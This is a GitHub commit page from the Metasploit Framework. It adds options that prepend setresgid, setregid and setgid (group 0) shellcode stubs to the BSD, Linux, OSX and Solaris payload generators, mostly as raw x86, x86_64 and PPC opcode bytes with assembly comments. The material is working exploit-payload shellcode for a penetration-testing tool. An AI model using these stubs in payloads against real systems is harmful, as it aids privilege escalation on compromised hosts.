Skip to content

Commit 205dc88

Browse files
author
jvazquez-r7
committed
Merge branch 'prependsetguid' of https://github.com/mephos/metasploit-framework into mephos-prependsetguid
2 parents f3bf69a + 90b948f commit 205dc88

File tree

4 files changed

+232
-2
lines changed

4 files changed

+232
-2
lines changed

‎lib/msf/core/payload/bsd.rb

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,27 @@ def initialize(info = {})
4040
"false"
4141
]
4242
),
43+
Msf::OptBool.new('PrependSetresgid',
44+
[
45+
false,
46+
"Prepend a stub that executes the setresgid(0, 0, 0) system call",
47+
"false"
48+
]
49+
),
50+
Msf::OptBool.new('PrependSetregid',
51+
[
52+
false,
53+
"Prepend a stub that executes the setregid(0, 0) system call",
54+
"false"
55+
]
56+
),
57+
Msf::OptBool.new('PrependSetgid',
58+
[
59+
false,
60+
"Prepend a stub that executes the setgid(0) system call",
61+
"false"
62+
]
63+
),
4364
Msf::OptBool.new('AppendExit',
4465
[
4566
false,
@@ -99,6 +120,35 @@ def generate(*args)
99120
"\xcd\x80" # int $0x80 #
100121
end
101122

123+
if (datastore['PrependSetresgid'])
124+
# setresgid(0, 0, 0)
125+
pre << "\x31\xc0" +# xorl %eax,%eax #
126+
"\x50" +# pushl %eax #
127+
"\x50" +# pushl %eax #
128+
"\x50" +# pushl %eax #
129+
"\x50" +# pushl %eax #
130+
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
131+
"\xcd\x80" # int $0x80 #
132+
end
133+
134+
if (datastore['PrependSetregid'])
135+
# setregid(0, 0)
136+
pre << "\x31\xc0" +# xorl %eax,%eax #
137+
"\x50" +# pushl %eax #
138+
"\x50" +# pushl %eax #
139+
"\x50" +# pushl %eax #
140+
"\xb0\x7f" +# movb $0x7f,%al #
141+
"\xcd\x80" # int $0x80 #
142+
end
143+
144+
if (datastore['PrependSetgid'])
145+
# setgid(0)
146+
pre << "\x31\xc0" +# xorl %eax,%eax #
147+
"\x50" +# pushl %eax #
148+
"\x50" +# pushl %eax #
149+
"\xb0\xb5" +# movb $0xb5,%al #
150+
"\xcd\x80" # int $0x80 #
151+
end
102152
# Append
103153

104154
if (datastore['AppendExit'])

‎lib/msf/core/payload/linux.rb

Lines changed: 102 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,27 @@ def initialize(info = {})
4040
"false"
4141
]
4242
),
43+
Msf::OptBool.new('PrependSetresgid',
44+
[
45+
false,
46+
"Prepend a stub that executes the setresgid(0, 0, 0) system call",
47+
"false"
48+
]
49+
),
50+
Msf::OptBool.new('PrependSetregid',
51+
[
52+
false,
53+
"Prepend a stub that executes the setregid(0, 0) system call",
54+
"false"
55+
]
56+
),
57+
Msf::OptBool.new('PrependSetgid',
58+
[
59+
false,
60+
"Prepend a stub that executes the setgid(0) system call",
61+
"false"
62+
]
63+
),
4364
Msf::OptBool.new('PrependChrootBreak',
4465
[
4566
false,
@@ -102,6 +123,31 @@ def generate(*args)
102123
"\xcd\x80" # int $0x80 #
103124
end
104125

126+
if (datastore['PrependSetresgid'])
127+
# setresgid(0, 0, 0)
128+
pre << "\x31\xc9" +# xorl %ecx,%ecx #
129+
"\x31\xdb" +# xorl %ebx,%ebx #
130+
"\xf7\xe3" +# mull %ebx #
131+
"\xb0\xaa" +# movb $0xaa,%al #
132+
"\xcd\x80" # int $0x80 #
133+
end
134+
135+
if (datastore['PrependSetregid'])
136+
# setregid(0, 0)
137+
pre << "\x31\xc9" +# xorl %ecx,%ecx #
138+
"\x31\xdb" +# xorl %ebx,%ebx #
139+
"\x6a\x47" +# pushl $0x47 #
140+
"\x58" +# popl %eax #
141+
"\xcd\x80" # int $0x80 #
142+
end
143+
144+
if (datastore['PrependSetgid'])
145+
# setgid(0)
146+
pre << "\x31\xdb" +# xorl %ebx,%ebx #
147+
"\x6a\x2e" +# pushl $0x2e #
148+
"\x58" +# popl %eax #
149+
"\xcd\x80" # int $0x80 #
150+
end
105151
if (datastore['PrependChrootBreak'])
106152
# setreuid(0, 0)
107153
pre << "\x31\xc9" +# xorl %ecx,%ecx #
@@ -185,6 +231,33 @@ def generate(*args)
185231
"\x44\xff\xff\x02" # sc #
186232
end
187233

234+
if (datastore['PrependSetresgid'])
235+
# setresgid(0, 0, 0)
236+
pre << "\x3b\xe0\x01\xff" +# li r31,511 #
237+
"\x7c\xa5\x2a\x78" +# xor r5,r5,r5 #
238+
"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
239+
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
240+
"\x38\x1f\xfe\xab" +# addi r0,r31,-341 #
241+
"\x44\xff\xff\x02" # sc #
242+
end
243+
244+
if (datastore['PrependSetregid'])
245+
# setregid(0, 0)
246+
pre << "\x3b\xe0\x01\xff" +# li r31,511 #
247+
"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
248+
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
249+
"\x38\x1f\xfe\x48" +# addi r0,r31,-440 #
250+
"\x44\xff\xff\x02" # sc #
251+
end
252+
253+
if (datastore['PrependSetgid'])
254+
# setgid(0)
255+
pre << "\x3b\xe0\x01\xff" +# li r31,511 #
256+
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
257+
"\x38\x1f\xfe\x2f" +# addi r0,r31,-465 #
258+
"\x44\xff\xff\x02" # sc #
259+
end
260+
188261
if (datastore['PrependChrootBreak'])
189262
# setreuid(0, 0)
190263
pre << "\x3b\xe0\x01\xff" +# li r31,511 #
@@ -235,6 +308,33 @@ def generate(*args)
235308
pre << "\x0f\x05" # syscall #
236309
end
237310

311+
if (datastore['PrependSetresgid'])
312+
# setresgid(0, 0, 0)
313+
pre << "\x48\x31\xff" # xor rdi,rdi #
314+
pre << "\x48\x89\xfe" # mov rsi,rdi #
315+
pre << "\x6a\x77" # push 0x77 #
316+
pre << "\x58" # pop rax #
317+
pre << "\x0f\x05" # syscall #
318+
end
319+
320+
if (datastore['PrependSetregid'])
321+
# setregid(0, 0)
322+
pre << "\x48\x31\xff" # xor rdi,rdi #
323+
pre << "\x48\x89\xfe" # mov rsi,rdi #
324+
pre << "\x48\x89\xf2" # mov rdx,rsi #
325+
pre << "\x6a\x72" # push 0x72 #
326+
pre << "\x58" # pop rax #
327+
pre << "\x0f\x05" # syscall #
328+
end
329+
330+
if (datastore['PrependSetgid'])
331+
# setgid(0)
332+
pre << "\x48\x31\xff" # xor rdi,rdi #
333+
pre << "\x6a\x6a" # push 0x6a #
334+
pre << "\x58" # pop rax #
335+
pre << "\x0f\x05" # syscall #
336+
end
337+
238338
if (datastore['PrependChrootBreak'])
239339

240340
# setreuid(0, 0)
@@ -269,7 +369,7 @@ def generate(*args)
269369
pre << "\x48\x89\xe7" # mov rdi,rsp #
270370

271371
# loop chdir(..) 69 times
272-
# syscall tendo to modify rcx can't use loop...
372+
# syscall tend to modify rcx can't use loop...
273373
pre << "\x6a\x45" # push 0x45 #
274374
pre << "\x5b" # pop rbx #
275375
pre << "\x6a\x50" # push 0x50 #
@@ -278,7 +378,7 @@ def generate(*args)
278378
pre << "\xfe\xcb" # dec bl #
279379
pre << "\x75\xf7" # jnz -7 #
280380

281-
# chrot (.) (witch should by /)
381+
# chroot (.) (which should be /)
282382
pre << "\x6a\x2e" # push . (0x2e) #
283383
pre << "\x48\x89\xe7" # mov rdi,rsp #
284384
pre << "\x48\x89\xd0" # mov rax,rdx #

‎lib/msf/core/payload/osx.rb

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,27 @@ def initialize(info = {})
4040
"false"
4141
]
4242
),
43+
Msf::OptBool.new('PrependSetresgid',
44+
[
45+
false,
46+
"Prepend a stub that executes the setresgid(0, 0, 0) system call",
47+
"false"
48+
]
49+
),
50+
Msf::OptBool.new('PrependSetregid',
51+
[
52+
false,
53+
"Prepend a stub that executes the setregid(0, 0) system call",
54+
"false"
55+
]
56+
),
57+
Msf::OptBool.new('PrependSetgid',
58+
[
59+
false,
60+
"Prepend a stub that executes the setgid(0) system call",
61+
"false"
62+
]
63+
),
4364
Msf::OptBool.new('AppendExit',
4465
[
4566
false,
@@ -99,6 +120,35 @@ def generate(*args)
99120
"\xcd\x80" # int $0x80 #
100121
end
101122

123+
if (datastore['PrependSetresgid'])
124+
# setresgid(0, 0, 0)
125+
pre << "\x31\xc0" +# xorl %eax,%eax #
126+
"\x50" +# pushl %eax #
127+
"\x50" +# pushl %eax #
128+
"\x50" +# pushl %eax #
129+
"\x50" +# pushl %eax #
130+
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
131+
"\xcd\x80" # int $0x80 #
132+
end
133+
134+
if (datastore['PrependSetregid'])
135+
# setregid(0, 0)
136+
pre << "\x31\xc0" +# xorl %eax,%eax #
137+
"\x50" +# pushl %eax #
138+
"\x50" +# pushl %eax #
139+
"\x50" +# pushl %eax #
140+
"\xb0\x7f" +# movb $0x7f,%al #
141+
"\xcd\x80" # int $0x80 #
142+
end
143+
144+
if (datastore['PrependSetgid'])
145+
# setgid(0)
146+
pre << "\x31\xc0" +# xorl %eax,%eax #
147+
"\x50" +# pushl %eax #
148+
"\x50" +# pushl %eax #
149+
"\xb0\xb5" +# movb $0xb5,%al #
150+
"\xcd\x80" # int $0x80 #
151+
end
102152
# Append
103153

104154
if (datastore['AppendExit'])

‎lib/msf/core/payload/solaris.rb

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,20 @@ def initialize(info = {})
3333
"false"
3434
]
3535
),
36+
Msf::OptBool.new('PrependSetregid',
37+
[
38+
false,
39+
"Prepend a stub that executes the setregid(0, 0) system call",
40+
"false"
41+
]
42+
),
43+
Msf::OptBool.new('PrependSetgid',
44+
[
45+
false,
46+
"Prepend a stub that executes the setgid(0) system call",
47+
"false"
48+
]
49+
),
3650
Msf::OptBool.new('AppendExit',
3751
[
3852
false,
@@ -86,6 +100,22 @@ def generate(*args)
86100
"\xff\xd6" # call *%esi #
87101
end
88102

103+
if (datastore['PrependSetregid'])
104+
# setregid(0, 0)
105+
pre << "\x31\xc0" +# xorl %eax,%eax #
106+
"\x50" +# pushl %eax #
107+
"\x50" +# pushl %eax #
108+
"\xb0\xcb" +# movb $0xcb,%al #
109+
"\xff\xd6" # call *%esi #
110+
end
111+
112+
if (datastore['PrependSetgid'])
113+
# setgid(0)
114+
pre << "\x31\xc0" +# xorl %eax,%eax #
115+
"\x50" +# pushl %eax #
116+
"\xb0\x2e" +# movb $0x2e,%al #
117+
"\xff\xd6" # call *%esi #
118+
end
89119
# Append
90120

91121
if (datastore['AppendExit'])

0 commit comments

Comments
 (0)